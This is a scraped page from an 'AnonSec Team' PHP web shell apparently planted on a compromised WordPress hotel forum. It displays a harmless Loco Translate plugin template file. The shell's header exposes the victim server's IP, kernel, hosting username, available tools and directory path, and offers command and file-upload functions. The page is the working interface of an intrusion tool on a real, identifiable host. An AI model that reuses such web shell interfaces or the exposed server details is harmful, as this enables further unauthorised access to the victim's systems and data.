AnonSec Team
Server IP : 10.131.40.8  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux webd008.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : ludmqhh ( 137773)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ludmqhh/www/hotel-forum/wp-content/plugins/loco-translate/tpl/admin/debug/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ludmqhh/www/hotel-forum/wp-content/plugins/loco-translate/tpl/admin/debug/debug-result.php
<?php
/* @var Loco_mvc_View $this */

$this->extend('debug-form');
$this->start('header');

/* @var Loco_mvc_ViewParams $result */
if( $result->translated ):?> 
    <div class="panel panel-success">
        <h3 class="has-icon">Translation result:</h3>
        <p><code class="po"><?php $result->e('msgstr')?></code></p>
        <p>
            This is the translation value returned from the 
            <a href="<?php $result->e('calleeDoc')?>" target="_blank"><code><?php $result->e('callee')?></code></a> function.
        </p>
    </div><?php

else:?> 
    <div class="panel panel-warning">
        <h3 class="has-icon">String found, but no translation returned</h3>
        <p>
            The <a href="<?php $result->e('calleeDoc')?>" target="_blank"><code><?php $result->e('callee')?></code></a> function
            returned the same value as the source string. Either the string isn't translated, or the required translation file wasn't loaded. 
        </p>
        <p>
            See below for the exact string matches we found in your translation files.
        </p>
    </div><?php
endif;


/* @var Loco_mvc_ViewParams[] $matched */
foreach( $result->matches as $g => $matched ):
    /* @var Loco_mvc_FileParams $group */
    $group = $result->grouped[$g];?> 
    <div class="panel panel-info">
        <h3>
            <?php $group->e('type');?> translations:
        </h3><?php
        foreach( $matched as $file ):?> 
        <p>
            <span class="icon icon-file"> </span>
            <code class="path"><?php $file->e('relpath') ?></code> &rarr; <code class="po"><?php $file->e('msgstr');?></code>
        </p><?php
        endforeach;
        if( $group->has('href') ):?> 
        <p>
            <span class="icon icon-pencil"> </span>
            <a href="<?php $group->e('href')?>">Edit PO</a>
        </p><?php
        endif;?> 
    </div><?php
endforeach;

AnonSec - 2021